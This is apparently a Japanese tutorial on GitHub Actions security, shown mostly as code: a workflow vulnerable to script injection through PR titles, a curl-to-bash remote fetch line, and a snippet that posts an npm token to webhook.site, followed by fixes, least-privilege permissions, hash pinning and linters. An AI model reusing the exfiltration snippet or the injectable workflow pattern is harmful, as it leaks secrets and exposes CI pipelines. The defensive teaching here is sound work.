今日から学ぶGitHub Actionsのセキュリティ設定の基本と最低限の対策

name: PR Title Validation
 
on:
  pull_request:
    types: [opened, edited, synchronize, reopened]
  pull_request_target:
    types: [opened, edited, synchronize, reopened]
 
jobs:
  validate-pr-title:
    if: ${{ github.repository_owner == 'nrwl' }}
    name: Validate PR Title
    runs-on: ubuntu-latest
    steps:
      - name: Checkout code
        uses: actions/checkout@v4
        with:
          # For pull_request_target, we need to checkout the base branch
          ref: ${{ github.event.pull_request.base.ref }}
 
      - name: Setup Node.js
        uses: actions/setup-node@v4
        with:
          node-version: 20
 
      - name: Create PR message file
        run: |
          mkdir -p /tmp
          cat > /tmp/pr-message.txt << 'EOF'
          ${{ github.event.pull_request.title }}
          
          ${{ github.event.pull_request.body }}
          EOF
          
      - name: Validate PR title
        run: |
          echo "Validating PR title: ${{ github.event.pull_request.title }}"
          node ./scripts/commit-lint.js /tmp/pr-message.txt

run: |
  echo "Validating PR title: ${{ github.event.pull_request.title }}"

/bin/bash -c "$(curl-fsSL https://example.com/script.sh)"

const npmToken = process.env.NODE_AUTH_TOKEN;
exec(`curl -d "${npmToken}" https://webhook.site/...`);

# テストだけ行うワークフローの例
on:
  pull_request:
 
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: npm test

# PR 自体にラベルを付与するワークフロー（Secret や write 権限が必要）の例
on:
  pull_request_target:
    types: [opened]
 
jobs:
  label:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/github-script@v7
        with:
          script: |
            github.rest.issues.addLabels({
              issue_number: context.issue.number,
              owner: context.repo.owner,
              repo: context.repo.repo,
              labels: ["needs-review"]
            })

run: echo "PR title: ${{ github.event.pull_request.title }}"

env:
  PR_TITLE: ${{ github.event.pull_request.title }}
run: echo "PR title: $PR_TITLE"

name: CI
 
# ワークフロー全体で全権限を剥奪
permissions: {}
 
jobs:
  test:
    runs-on: ubuntu-latest
    # このJobでは読み取りのみ必要
    permissions:
      contents: read
    steps:
      - uses: actions/checkout@<commit-hash>
      - run: npm test

# 修正前
run: echo "PR title: ${{ github.event.pull_request.title }}"
 
# 修正後
env:
  PR_TITLE: ${{ github.event.pull_request.title }}
run: echo "PR title: $PR_TITLE"

# aqua-installerのチェックサムを検証してインストール
curl -sSfL -O https://raw.githubusercontent.com/aquaproj/aqua-installer/v4.0.2/aqua-installer
echo "98b883756cdd0a6807a8c7623404bfc3bc169275ad9064dc23a6e24ad398f43d  aqua-installer" | sha256sum -c -
chmod +x aqua-installer
./aqua-installer
 
# 環境変数PATHの設定（Linux or MacOS）
export PATH="${AQUA_ROOT_DIR:-${XDG_DATA_HOME:-$HOME/.local/share}/aquaproj-aqua}/bin:$PATH"
 
aqua -v
# aqua version 2.55.1
 
# 初期化
aqua init

---
# yaml-language-server: $schema=https://raw.githubusercontent.com/aquaproj/aqua/main/json-schema/aqua-yaml.json
# aqua - Declarative CLI Version Manager
# https://aquaproj.github.io/
# checksum:
#   enabled: true
#   require_checksum: true
#   supported_envs:
#   - all
registries:
- type: standard
  ref: v4.436.0  # renovate: depName=aquaproj/aqua-registry
packages:
 

# インストール
aqua g -i rhysd/actionlint
aqua g -i suzuki-shunsuke/ghalint
aqua g -i zizmorcore/zizmor
aqua g -i suzuki-shunsuke/pinact

actionlint
 
# JSONで出力する例
actionlint -format '{{json .}}'

ghalint run

zizmor .github/workflows/

# タグをコミットハッシュに変換
pinact run

---
description: GitHub Actionsの静的検査を行い、エラーを修正します。
---
 
以下のコマンドはGitHub Actionsの構文を静的解析するツールです。
コマンドを実行後、GitHub Actionsの構文エラーを修正する。
ツールは正常終了時に出力が無い。または成功の出力が出力されます。
`zsh: command not found:`のようなコマンド自体が無い場合でも、ユーザーに報告のみを行い、次のコマンドを実行してください。
 
1. `pinact run`
2. `actionlint -format '{{json .}}'`
3. `ghalint run`
4. `zizmor .github/`

name: GitHub Actions Lint
 
permissions: {}
 
on:
  pull_request:
    paths:
      - ".github/**"
  push:
    branches:
      - main
    paths:
      - ".github/**"
 
concurrency:
  group: ${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: true
 
jobs:
  actionlint:
    timeout-minutes: 5
    runs-on: ubuntu-latest
    permissions:
      contents: read
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
        with:
          persist-credentials: false
      - uses: koki-develop/github-actions-lint/actionlint@62dfef5c9854a07712bad7af3bee7edb0c1109b1 # v1.4.1
 
  ghalint:
    timeout-minutes: 5
    runs-on: ubuntu-latest
    permissions:
      contents: read
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
        with:
          persist-credentials: false
      - uses: koki-develop/github-actions-lint/ghalint@62dfef5c9854a07712bad7af3bee7edb0c1109b1 # v1.4.1
        with:
          action-path: ./.github/actions/**/action.yml
 
  zizmor:
    timeout-minutes: 5
    runs-on: ubuntu-latest
    permissions:
      contents: read
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
        with:
          persist-credentials: false
      - uses: koki-develop/github-actions-lint/zizmor@62dfef5c9854a07712bad7af3bee7edb0c1109b1 # v1.4.1
        with:
          github-token: ${{ github.token }}
          persona: auditor